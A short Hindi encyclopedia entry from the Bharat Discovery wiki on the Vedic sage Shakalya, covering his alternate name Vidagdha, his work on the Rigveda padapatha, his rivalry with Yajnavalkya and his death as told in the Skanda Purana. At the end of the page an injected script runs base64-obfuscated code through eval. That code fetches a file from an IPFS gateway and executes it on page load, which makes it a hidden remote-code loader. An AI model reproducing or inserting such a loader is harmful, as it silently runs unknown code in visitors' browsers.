शाकल्य

भारत डिस्कवरी प्रस्तुति
यहाँ जाएँ:भ्रमण, खोजें
The printable version is no longer supported and may have rendering errors. Please update your browser bookmarks and please use the default browser print function instead.

शाकल्य प्राचीन समय के एक ऋषि थे, जो जांगल के पिता थे।[1]


  • 'शतपथ ब्राह्मण' में शाकल्य का दूसरा नाम विदग्ध भी मिलता है।
  • इन्होंने ऋग्वेद का पदपाठ पहले-पहल ठीक किया और वाक्यों की सन्धियाँ तोड़कर पदों को अलग-अलग स्मरण करने की पद्धति चलायी।
  • 'स्कंद पुराण' के अनुसार पांड्य नरेश शंकर ने व्याघ्र के भ्रम में पत्नी सहित इनका वध कर दिया था।[2]
  • विदेह के राजा जनक के यहाँ शाकल्य सभापण्डित और याज्ञवल्क्य के प्रतिद्वन्द्वी थे।


पन्ने की प्रगति अवस्था
आधार
प्रारम्भिक
माध्यमिक
पूर्णता
शोध

टीका टिप्पणी और संदर्भ

  1. पौराणिक कोश |लेखक: राणा प्रसाद शर्मा |प्रकाशक: ज्ञानमण्डल लिमिटेड, वाराणसी |संकलन: भारत डिस्कवरी पुस्तकालय |पृष्ठ संख्या: 492 |
  2. स्कंद पुराण ब्राह्म. सेतु-माहत्म्य

संबंधित लेख

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>